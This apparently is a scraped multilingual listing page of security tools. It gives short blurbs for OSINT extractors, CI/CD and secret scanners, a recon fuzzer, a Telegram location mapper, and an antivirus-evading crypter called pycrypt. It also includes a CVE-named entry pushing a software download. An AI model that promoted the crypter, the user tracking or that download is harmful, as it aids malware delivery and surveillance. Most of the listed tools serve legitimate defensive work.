gitcolombo

Gitcolombo OSINT tool that extracts identities — names, emails, and links between seemingly unrelated accounts — from git repositories and GitHub. Python CLI gitcolombo.py — clones repos, walks git log, and can call the GitHub API for richer signals. Web version gitcolombo.html — a single static...

gitcolombo

Gitcolombo OSINT 工具，可从 git 仓库和 GitHub 中提取身份信息——姓名、电子邮件以及看似无关账户之间的联系。 Python CLI （gitcolombo.py）——克隆仓库、遍历 git log，并可调用 GitHub API 以获取更丰富的信号。 Web 版本 （gitcolombo.html）——单个静态 HTML 文件；在浏览器中打开，直接查询 GitHub API，无需安装。 关于每封邮件/每个姓名的来源（PGP 密钥、公开事件、提交搜索、提交消息尾部等）的完整说明，请参阅 docs.md 。 Web 版本 托管于...

lightweight_static_analysis

軽量静的解析 このリポジトリには、ShellCon 2019 の講演「Rolling Your Own: How to Write Custom, Lightweight Static Analysis Tools」（スライド）の PoC コードが含まれています。 一言で言えば、このリポジトリは、オープンソースツールと少量のカスタムコードを使って、いくつかの興味深い静的解析を構築する方法の具体的な例を示しています。 このリポジトリのコード例 : 1. Rails コードベースを反復的に調査して、定義されているコントローラと使用されている beforeaction を理解する。 2...

octoscan

:octocat: octoscan Octoscan は GitHub Action ワークフロー用の静的脆弱性スキャナです。 目次 目次 インストール 使い方 リモートワークフローのダウンロード 分析 GitHub Action ルール dangerous-checkout dangerous-action dangerous-write expression-injection runner-label repo-jacking unsecure-commands bot-check known-vulnerability dangerous-artefact credential...

trivy-action

Trivy Action GitHub Action のための Trivy !GitHub Releaserelease-imgrelease !GitHub Marketplacemarketplace-imgmarketplace !Licenselicense-imglicense 目次 使用法 CI パイプラインのスキャン CI パイプラインのスキャン（Trivy 設定あり） キャッシュ Trivy のセットアップ Tarball のスキャン テンプレートを使用した Trivy の利用 GitHub Code Scanning を使用した Trivy の利用 Trivy を使用し...

lazyrecon

root@kitploit: | | | |/ | /| | | | / / |/ | \ | | | / / | | | | | | / | | | ||\ |/ \ || ||/|| |v2 |/ Lazyrecon v2 is a subdomain discovery tool that finds and resolves valid subdomains then performs SSRF/LFI/SQLi fuzzing, brute-force and port scanning. It has a simple modular architecture and...

gdb-frontend

GDBFrontendは、簡単で柔軟、かつ拡張可能なGUIデバッガです。 インストール 必要条件 GDB = 8.2 python3対応 python3 = 3.6 tmux PIPパッケージ Python Wheel 推奨 GDBFrontendは pip でインストールできます。 root@kitploit: sudo python3 -m pip install gdbfrontend 既にインストール済みでアップグレードする場合 root@kitploit: sudo python3 -m pip install --upgrade gdbfrontend...

mitmproxy

mitmproxy !autofix.ci:...

Sandboxie

Sandboxie Plus / Classic EN | 中文 システム要件| リリースノート| コントリビューションガイドライン ---|---|--- Sandboxie は、Windows NT ベースのオペレーティングシステム向けのサンドボックス型分離ソフトウェアです。ローカルドライブやマップされたドライブ、Windows レジストリを恒久的に変更することなく、アプリケーションの実行やインストールができる安全な動作環境を提供します。隔離された仮想環境により、信頼できないプログラムや Web ブラウジングの安全なテストが可能になります。 Sandboxie...

nxlog-ubuntu-githubactions

nxlog-ubuntu-githubactions nxlog ubuntu...

pycrypt

pycrypt Python Based Crypter That Can Bypass Any Kinds Of Antivirus Products Note: root@kitploit: If the stub being detected then plz use the following obfuscations:- 1. https://github.com/machine1337/fudcrypt 2. https://github.com/machine1337/pyobfuscate Important: root@kitploit: 1. Make Sure yo...

claudleak

claudleak 公開GitHubリポジトリをスキャンし、AIコーディングツールの設定ファイル（.claude/、.cursor/、.continue/、.codex/、CLAUDE.md、AGENTS.md など）に含まれる漏洩した認証情報を検出します。 TruffleHog を使用してシークレットを検出します。 .claude/ ディレクトリの例: root@kitploit: "permissions": "allow": "Bashgo build:", "BashRAPID7ENCRYPTEDCREDS='eP3g488hQ23QiU4kJahhwPKs3PyE' go te...

tun2socks

特徴 ユニバーサルプロキシ : 任意のアプリケーションからのすべてのネットワークトラフィックを透過的にプロキシ経由でルーティングします。 マルチプロトコル : HTTP/SOCKS/Shadowsocks/SSH/Relay プロキシをオプションの認証付きでサポートします。 クロスプラットフォーム : Linux/macOS/Windows/FreeBSD/OpenBSD 上で動作し、プラットフォーム固有の最適化を備えています。 ゲートウェイモード : レイヤー3ゲートウェイとして機能し、同じネットワーク上の他のデバイスからのトラフィックをルーティングします。 完全なIPv6互換性 :...

CVE-2025-68921

🎮 CVE-2025-68921 - 今日からあなたのゲーミングラップトップを守ろう 🚀 はじめに CVE-2025-68921 へようこそ。このアプリケーションは、数百万のデバイスに影響を与える脆弱性からゲーミングラップトップを保護します。以下の手順に従ってソフトウェアをダウンロードし、実行してください。 🔗 今すぐダウンロード 💾 システム要件 CVE-2025-68921 をスムーズに実行するには、ゲーミングラップトップが以下の要件を満たしていることを確認してください。 オペレーティングシステム: Windows 10 以降 プロセッサ: Intel または AMD、2 GHz 以...

trajan

Trajan: CI/CD Security Scanner Trajan scans CI/CD pipelines for security vulnerabilities that attackers use to compromise software supply chains. It supports GitHub Actions, GitLab CI, Azure DevOps, Jenkins, and JFrog. What it does Trajan parses workflow YAML files, builds dependency graphs, runs...

RAUDI

🐳 RAUDI: 定期的かつ自動的に更新されるDockerイメージ RAUDI Regularly and Automatically Updated Docker Images は、開発者から提供されていないツールに対して、 Dockerイメージ を GitHub Actions を通じて自動的に生成し、最新の状態に保ちます。 目次 RAUDIとは フォーク セットアップ テスト ローカルでの使用 利用可能なツール ツールの構造 ヘルパー 例 発音の仕方 貢献 クレジット ライセンス RAUDIとは RAUDI...

shhgit

🚨 shhgit is no longer maintained. If you need support or consultation for your secret scanning endeavours, drop me an e-mail [email protected] 🚨 shhgit helps secure forward-thinking development, operations, and security teams by finding secrets across their code before it leads to a security...

telegram-nearby-map

Telegram Nearby Map Telegram Nearby Map uses OpenStreetMap and the official Telegram library to find the position of nearby users. Please note: Telegram's API was updated a while ago to make nearby user distances less precise, preventing exact location calculations. Therefore, Telegram Nearby Map...

gping

gping 🚀 Ping, but with a graph. Comes with the following super-powers: Graph the ping time for multiple hosts Graph the execution time for commands via the --cmd flag Custom colours Windows, Mac and Linux support Table of Contents Install 💿 Usage 🎷 Install 💿 macOS Homebrew: brew install gping...

attack_range

Splunk Attack Range v5 The Splunk Attack Range builds instrumented cloud environments AWS, Azure, GCP, simulates attacks, and forwards data into Splunk for detection development and testing. What it does: Build labs — Deploy a small, production-like lab Splunk, Windows/Linux servers, optional Kal...